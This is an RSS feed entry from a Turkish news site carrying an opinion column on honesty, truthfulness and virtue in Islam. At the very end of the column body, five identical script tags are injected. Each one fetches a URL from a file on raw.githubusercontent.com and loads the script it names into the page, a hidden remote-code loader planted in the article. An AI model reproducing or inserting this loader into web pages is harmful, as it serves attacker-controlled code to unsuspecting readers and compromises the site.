				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">https://elazigdagucluhabergazetesi.com/?p=8836</guid>

					<description><![CDATA[Çok kıymetli takipçilerim, değerli okurlarım, sizlerle her hafta olduğu gibi bugün de insanı insanlığı ilgilendiren yepyeni bir konu ile tekrar buluşmanın mutluluğunu yaşıyorum.. &#8220;Sevgili okurlarım; “Birey olarak böylesi önemli bir..]]></description>
										<content:encoded><![CDATA[<figure id="attachment_8840" aria-describedby="caption-attachment-8840" style="width: 150px" class="wp-caption alignleft"><img loading="lazy" decoding="async" src="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2024/11/Untitled-1-150x150.png" width="150" height="150" data-srcset="https://elazigdagucluhabergazetesi.com/wp-content/uploads/2024/11/Untitled-1.png 2x" alt="Selahaddin Canpolat" class="avatar avatar-150 wp-user-avatar wp-user-avatar-150 photo" /><figcaption id="caption-attachment-8840" class="wp-caption-text">SELAHATTİN CANPOLAT</figcaption></figure>
<p>Çok kıymetli takipçilerim, değerli okurlarım, sizlerle her hafta olduğu gibi bugün de insanı insanlığı ilgilendiren yepyeni bir konu ile tekrar buluşmanın mutluluğunu yaşıyorum..<br />
&#8220;Sevgili okurlarım;<br />
“Birey olarak böylesi önemli bir konuya nereden nasıl başlayacağımı bilemiyorum. Çünkü böylesi kutsal dini ve insani konular istismara açık bir özellik taşımaktadır . Evrensel ve ahlaki kavramların doğruluk ve dürüstlük dışında bazılarını şöyle bir hatırlayalım. Adalet, vicdan, merhamet, cömertlik, acıma duygusu, yalan söylememek gibi… Bilimin ve yaşamın bize öğrettiği tecrübe ettiği her konuda ve böylesi bir konuda genelleme yapmamaktır. Yani her insan farklıdır bir değildir. Genelleme yapmak deyimi bir anlamda kesin olmak anlamına da gelen ya hep ya hiç şeklinde düşünmekte genelleme yapmak sayılır. İnsanoğlunun Elinden geleni yapması vazifedir, yapmaması suç. Elinden daha fazla şey gelmesi için çalışması ise fazilettir. “Toplumun huzur, güven ve birlikte yaşama ortamını sağlayan bazı ortak değerler vardır. Doğruluk, dürüstlük, faziletli ve erdemlilik bunların en önemlilerindendir. Doğrunun yardımcısı Allah’tır. “Doğru duvar yıkılmaz” sözlerindende anlaşılacağı gibi doğruluk ve dürüstlük bir ölçü bir başka deyişle yol haritası olarak ele alınmalıdır. Doğru olmak, dürüst olmak, faziletli olmak, erdem sahibi olmak, Kısa vadede belki kaybettirebilir ancak uzun vadede kazandıracak davranıştır. Doğruluk, sağlıklı bir toplum yapısının temel taşını oluşturur. Doğruluktan yana olanların içinde ne hüzün vardır nede korku. Unutmayın ki ,”Doğruluk kişiyi iyiliğe sevk eder, yalancılık ise kötülüğe sevk eder.” Günümüzde kişilerin hava ve su gibi muhtaç olduğu şey doğruluk ve dürüstlüktür. Üstelik bu durum insanın her hareketinde bulunması gereken sürekli bir hal olmalıdır. Aksi takdirde kişinin hayatındaki olumsuz davranışları görmemesi, bedenindeki hastalık ve acıları dikkate almaması gibidir.<br />
&#8220;Sevgili okurlarım ;<br />
“Fazilet hissi denilince akla gelen ahlâki erdemlerin en başında müslümanlarda doğruluk ve dürüstlük gelir. Çünkü doğruluk; kurtuluşun nuru, hidayetin cevheri, yüksek ahlâkın bir gereğidir. Müslümanlığın ruhu evvela Allah’a iman, sonrada doğruluktur. Bunun için İslâm, insanlara inançta, sözde ve işte doğruluk ve dürüstlüğü emreder. İslâm’ın öngördüğü insan tipinin temel özelliği doğruluk, dürüstlük ve güvenilirliktir. İslâm dini hakikate, doğruluğa ve hakkı söylemeye çok büyük önem vermiştir. O kadarki doğruluk ve dürüstlük anlamına gelen peygamber sıfatlarının ilkidir. Dürüstlük çok büyük fazilettir. Kişinin çevresine güven vermesini sağlayan çok önemli bir niteliktir. Bunun içindir ki; Peygamberimiz (s.a.v.) ’in İslâm’a davet ettiğini duyanlar, ilk önce onun dürüst olup olmadığını yaşayarak bilmişlerdir. Peygamberimiz (s.a.v.) ’in dürüst olduğunu, şimdiye kadar kimseyi aldatmadığını ve yalan konuşmadığını öğrenenler şu değerlendirmeyi yapmışlardır: İnsanlara karşı dürüst olan bir kimse, Allah’a karşı niye dürüst olmasın? Doğru söz, imanın sesi; hakkı söylemek ise müminin şiarıdır. Dürüstlük, kişisel ilişkilerden toplumsal ilişkilere, ticari ve mesleki faaliyetlerden kamu görevlerine kadar hayatın bütün alanlarını kapsayan ve mutlaka riayet edilmesi gereken bir erdemdir. Bir insan Allah’a iman eder, bununla beraber kalbini, işini ve sözünü doğrultur ve doğru yolu tutarsa artık o insan selâmeti yani doğruluğu bulmuş demektir. Peygamberimiz (s.a.v.) de birçok hadislerinde müminlere doğruluk ve dürüstlüğü emretmişlerdir. &#8220;Sevgili okurlarım ;<br />
&#8220;Sahabeden biri Peygamberimize S.A.V me gelerek; “Ey Allah’ın Rasulü! İslâm hakkında bana öyle bir söz söyleki, senden sonra artık hiç kimseden bir şey sormaya ihtiyacım kalmasın” demesi üzerine, peygamberimiz S.A.V, “Allah’a inandım de, sonrada dosdoğru ol” şeklinde karşılık vermişlerdir. Söz ve davranışlarıyla ümmeti için en güzel örnek olan Peygamber Efendimiz (s.a.v.), yalan konusunda o kadar hassas davranmıştırki çocuklara yalan söylemeyi hatta yalan söyleyerek şaka yapmayı dahi yasaklamıştır. Bir defasında, bir kadının çocuğunu çağırıp, “Gel sana bir şey vereceğim” dediğini işitince ona, “Ne vereceksin?” diye sormuş, “Kuru hurma” cevabını alınca “Dikkatli ol, ona bir şey vermemiş olsaydın, bu senin için bir yalan olarak yazılacaktı” buyurmuştur. “Allah’a inanmış bir Müslüman kalbiyle, sözüyle, işiyle velhasıl her yönüyle doğru olacaktır ve olmalıdır. Allah’a inanan Müslüman olduğu gibi görünür, göründüğü gibide olur. Müslüman’ın sözü gibi öze de doğru olmalı, içi kötü duygu ve düşüncelerden arınmış bulunmalıdır. Daha açık bir ifade ile Müslüman, düşündüğü gibi konuşmalı, konuştuğu gibi olmalıdır. Sözü ile özü arasında ayrılık olmamalıdır. Böyle olduğu takdirde olgun mümin olur. Böyle olduğu takdirde çevresine güven vermiş olur. Artık dünya ve ahirette onun için korku ve keder yoktur. Çünkü tam manasıyla iman eden ve istikameti elden bırakmayan bir insan, şüphe yokki, dinin ruhunu elde etmiştir. Peygamberimiz (s.a.v.), bir hadis’i şeriflerinde “Allah’a ve ahiret gününe iman eden kimse ya hayır söylesin yada sussun” buyurmuşlardır. Doğrulukta izzet ve şeref vardır, saadet ve selâmet vardır. Fakat doğruluğun zıddı ise yalancılıktır. Yalancılığın dayandığı temel ilke ise, zulümdür. Zulüm, haktan ve doğruluktan sapmak, adalete aykırı davranıp haksızlık yapmaktır. O, dünyada mazlumu, ahirettede zalimi yakan bir ateştir. Zalimden adalet ve dürüstlük beklemekde, zulmün devamını istemek demektir. Müslüman’ın sözü ve özü doğru olunca, işi de doğru olacaktır. Müslüman’ın işinde hile ve haksızlık olmaz. Kendi işini sağlam ve hilesiz yaptığı gibi başkasının işinide aynen kendi işini yaptığı gibi yapacaktır.<br />
“Sonuç olarak;<br />
&#8220;Unutmayalım ki, Doğru konuşan, dürüst davranan insanlar verdiği sözlerin arkasında durur. Haksızlık yapmaz, yalandan, riyadan uzak durur. Başkasının arkasından konuşmaz. Ezileni ezmez, ezdirmez. Kişi, ibadetlerinde, niyetlerinde, sözlerinde, dostluk ve arkadaşlık ilişkilerinde, sosyal hayatında, görev ve sorumluluklarında doğruluk ve dürüstlüğü ilke edinip hayatına uygulamalı ve çevresindeki insanlarada bunu aşılamalıdır. Faziletli doğru dürüst erdemli kalanlara selam olsun…vesselam“Bir diğer hafta başka güzel konularda buluşmak dileklerimle….<script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script><script>;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
